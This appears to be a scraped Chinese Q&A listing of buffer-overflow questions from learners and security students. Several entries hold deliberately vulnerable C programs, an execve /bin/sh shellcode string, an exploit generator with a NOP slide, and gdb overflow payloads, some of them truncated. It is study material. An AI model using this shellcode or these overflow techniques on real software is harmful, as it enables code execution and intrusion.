标签: buffer-overflow

dest缓冲区小于src缓冲区时的strcpy

我试图了解strcpy和strncpy的区别/缺点.有人可以帮忙:

void main()
{
char src[] = "this is a long string";
char dest[5];

strcpy(dest,src) ;
printf("%s \n", dest);
printf("%s \n", src);

}
Run Code Online (Sandbox Code Playgroud)

输出是:

this is a long string 
a long string 
Run Code Online (Sandbox Code Playgroud)

问题:我不明白,源sting是如何被修改的.根据解释,strcpy应该继续复制,直到它遇到'\ 0',所以它确实如此,但为什么"src"字符串被修改.

请解释.

c string buffer-overflow strcpy

5
推荐指数
2
解决办法
1万
查看次数

缓冲区溢出返回地址为00

我只是想在下面的程序中尝试在OSX(10.6)上运行缓冲区溢出; 我需要通过溢出缓冲区来使foo执行.

#include <string.h>
#include <stdio.h>
void foo() {
    printf("hacked!");
}
int main(int argc, const char *argv[]) {
    char s[100];
    strcpy(s, argv[1]);
}
Run Code Online (Sandbox Code Playgroud)

我编译为: -

$ gcc -o test test.c -arch i386
Run Code Online (Sandbox Code Playgroud)

在拆卸时test我得到了fooas 的地址0x00001eda.漏洞利用不按预期工作; 可能是因为返回地址应该溢出with 0x00001edawith contains a \x00.

在目标地址有a的情况下\x00,如何执行缓冲区溢出漏洞利用?

c security macos buffer-overflow

5
推荐指数
1
解决办法
3232
查看次数

中止陷阱而不是缓冲区溢出

我一直在读Jon Erickson写的一本很棒的书.我想编译一个缓冲区溢出示例并对其进行调试,但是应用程序只响应"Abort trap"而不是写出外部分配的空间.这是Xcode还是Mac OS引入的一些安全预防措施?作者正在使用原始gcc和Debian.

#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
    int value = 5;
    char buffer_one[8], buffer_two[8];

    strcpy(buffer_one, "one"); /* put "one" into buffer_one */
    strcpy(buffer_two, "two"); /* put "two" into buffer_two */

    printf("[BEFORE] buffer_two is at %p and contains \'%s\'\n", buffer_two, buffer_two);
    printf("[BEFORE] buffer_one is at %p and contains \'%s\'\n", buffer_one, buffer_one);
    printf("[BEFORE] value is at %p and is %d (0x%08x)\n", &value, value, value);

    printf("\n[STRCPY] copying %d bytes into buffer_two\n\n",  strlen(argv[1]));
    strcpy(buffer_two, argv[1]); /* copy …
Run Code Online (Sandbox Code Playgroud)

c macos xcode buffer-overflow

5
推荐指数
1
解决办法
2458
查看次数

尝试执行缓冲区溢出攻击时获取SIGILL

我正在为我的安全类工作我的缓冲区溢出项目,我想我已经设置好所有东西,但是当我运行它时,我得到:

Program received signal SIGILL, Illegal Instruction.
0x08048500 in main(argc=4854718, argv=0x0804b008) at stack.c:22
22       fread(str,sizeof(char),517,badfile);
Run Code Online (Sandbox Code Playgroud)

Heres stack.c

int bof(char *str) 
{
    char buffer[12]; 
    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str); 
    return 1; 
} 

int main(int argc, char **argv) 
{ 
    char str[517]; 
    FILE *badfile; 
    badfile = fopen("badfile", "r"); 
    fread(str, sizeof(char), 517, badfile); 
    bof(str); 
    printf("Returned Properly\n"); 
    return 1; 
}
Run Code Online (Sandbox Code Playgroud)

这是exploit.c

char code[]=

"\x31\xc0"                      // xorl         %eax,%eax

"\x50"                          // pushl        %eax

"\x68\x6e\x2f\x73\x68"          // pushl        $0x68732f6e

"\x68\x2f\x2f\x62\x69"          // pushl …
Run Code Online (Sandbox Code Playgroud)

c buffer-overflow

5
推荐指数
1
解决办法
3416
查看次数

当我覆盖易受攻击程序的ret地址时,为什么我会"找不到当前函数的界限"?

我想利用基于堆栈的缓冲区溢出来进行教育.

有一个典型的函数,使用main中的参数调用,该函数作为程序的输入提供给保存参数的本地缓冲区.如果有这样的输入nops+shellcode+address_shellcode,我会利用它.

在使用gdb调试之后,我找到了shell代码的地址,因为它将作为参数传递,并且在strcpy我检查堆栈之后,$ebp+8哪个是返回地址已成功用shell代码的地址覆盖.所以我有我想要的东西.但是当我向前推进执行时,我得到了:

->shellcode_address in ?? ()
Run Code Online (Sandbox Code Playgroud)

然后

Cannot find bound of current function
Run Code Online (Sandbox Code Playgroud)

返回地址具有我想要的值.有什么想法发生了什么?

此外,当我执行它时,我遇到了分段错误,我已经编译了它-g -fno-stack-protector.为什么?

c stack buffer-overflow shellcode

5
推荐指数
2
解决办法
3万
查看次数

缓冲区溢出不起作用

我试图在一个需要密码的简单程序上进行缓冲区溢出(我正在使用Linux).这是程序代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_authentication(char *password){

int auth_flag = 0;
char password_buffer[16];

strcpy(password_buffer, password);

if(strcmp(password_buffer, "pass1") == 0)
    auth_flag = 1;
if(strcmp(password_buffer, "pass2") == 0)
    auth_flag = 1;

return auth_flag;

}

int main(int argc, char **argv)
{

if(argc < 2){

    printf("\t[!] Correct usage: %s <password>\n", argv[0]);
    exit(0);

}

if(check_authentication(argv[1])){

    printf("\n-=-=-=-=-=-=-=-=\n");
    printf("  Access granted.\n");
    printf("-=-=-=-=-=-=-=-=\n");

} else {

    printf("\nAccess Denied.\n");

}


   return 0;

}
Run Code Online (Sandbox Code Playgroud)

好的,现在我编译它,没有错误,并将其保存为overflow.c.

现在我打开终端,我移动到文件目录(桌面),然后写道:

./overflow.c AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Run Code Online (Sandbox Code Playgroud)

终端说:"堆栈粉碎检测到"(或类似的东西),然后退出程序执行.

现在,我正在读一本名为"黑客 - 剥削艺术"的书,由Jon Erickson撰写.在一章中,他解释了这种类型的漏洞利用(我从书中获取了代码)并执行了我所做的相同命令.内存溢出,程序打印"已授予访问权限".现在,为什么我的操作系统检测到我正在尝试利用该程序?我做错了什么?

我也在Mac OS X上尝试过这个漏洞.同样的事情发生了.拜托,有人可以帮帮我吗?提前致谢.

c buffer-overflow

5
推荐指数
1
解决办法
1468
查看次数

作为房主的缓冲区溢出

仍在学习安全类的缓冲区溢出,我正在尝试利用此应用程序中的漏洞:

//vuln.c
#include <stdio.h>

int bof(char *str)
{
     char buffer[12];

     //BO Vulnerability
     strcpy(buffer,str);

     return 1;
}

int main(int argc, char* argv[])
{
     char str[517];

     FILE *badfile;
         badfile = fopen("badfile","r");

     fread(str, sizeof(char),517, badfile);
     bof(str);

     printf("Returned Properly\n");
     return 1;
}
Run Code Online (Sandbox Code Playgroud)

使用此漏洞利用程序:

//exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;


int main(int argc, char* argv[])
{
    char buffer[517];
    char large_string[512];
    FILE *badfile;
        badfile = fopen("./badfile", "w");

    //NOPslide
    memset(&buffer,0x90,517); …
Run Code Online (Sandbox Code Playgroud)

c buffer-overflow stack-smash shellcode fortify-source

5
推荐指数
1
解决办法
3426
查看次数

`recv()`会导致缓冲区溢出吗?

我将自己介绍给C/C++中的套接字编程,并使用send()recv()通过TCP套接字在客户端和服务器程序之间交换数据.

以下是我的代码中的一些相关摘录:

server.c:

char recv_data[1024];

// Socket setup and so on ommited...

bytes_recieved = recv(connected, recv_data, 1024, 0);
recv_data[bytes_recieved] = '\0';
Run Code Online (Sandbox Code Playgroud)

client.c:

char send_data[1024];

// Setup ommited...

send(connected, send_data, strlen(send_data), 0);
Run Code Online (Sandbox Code Playgroud)

recv()本身是否提供任何防止缓冲区溢出的保护?例如,如果我将第3个参数更改recv()为高于recv_data(例如4000)指向的缓冲区的某个值- 这是否会导致缓冲区溢出?(我实际上尝试过这样做,但似乎无法触发段错误).

我实际上是在尝试创建一个故意易受攻击的服务器程序来更好地理解这些问题,这就是我试图溢出的原因recv().

修正案:

不无关系,将会发现为什么client.c上面会发送超过1024指定的字节数strlen(send_data).我正在使用gets(send_data)从标准输入填充该缓冲区,但如果我通过标准输入输入超过1024个字节,server.c程序显示它接收所有的字节!:).是否strlen(send_data)send()不限制发送的字节数量?

c c++ sockets buffer-overflow recv

5
推荐指数
2
解决办法
6928
查看次数

缓冲区溢出漏洞利用示例

我正在研究一些缓冲区溢出漏洞利用示例,并编写了一个基本的易受攻击的C应用程序来测试:(目标和攻击者是相同的Kali 2机器并运行"echo"0">/proc/sys/kernel/randomize_va_space")

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
        char buffer[256];
        if (argc != 2)
        {
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}
Run Code Online (Sandbox Code Playgroud)

现在,通过在GDB中进行一些测试,我可以通过在缓冲区中放入260个字节来导致seg错误:

r $(python -c 'print "A" * 204 + "BBBB" + "C" * 52')
Run Code Online (Sandbox Code Playgroud)

寄存器显示:

eax            0x105    261
ecx            0xffffd300   -11520
edx            0xf7fb3878   -134530952
ebx            0xf7fb2000   -134537216
esp            0xffffd300   0xffffd300
ebp            0x0  0x0
esi            0x0  0
edi            0x0  0
eip            0x42424242   0x42424242
eflags         0x10286  [ PF SF IF RF ]
cs             0x23 …
Run Code Online (Sandbox Code Playgroud)

c assembly exploit buffer-overflow

5
推荐指数
1
解决办法
1972
查看次数

如果调用堆栈向上增长会使缓冲区溢出更安全吗?

每个线程都有自己的堆栈来存储局部变量.但是堆栈也用于在调用函数时存储返回地址.

在x86程序esp集中,指向最近分配的堆栈末尾.今天,大多数CPU的堆栈增长都是负面的.此行为通过溢出缓冲区并覆盖保存的返回地址来启用任意代码执行.如果堆栈要积极增长,这种攻击是不可行的.

使调用堆栈向上增长更安全吗?为什么英特尔设计8086随着堆栈的增长而下降?他们可以在任何后来的CPU中改变一些东西,让现代x86的堆栈向上增长吗?

x86 assembly stack intel buffer-overflow

5
推荐指数
1
解决办法
189
查看次数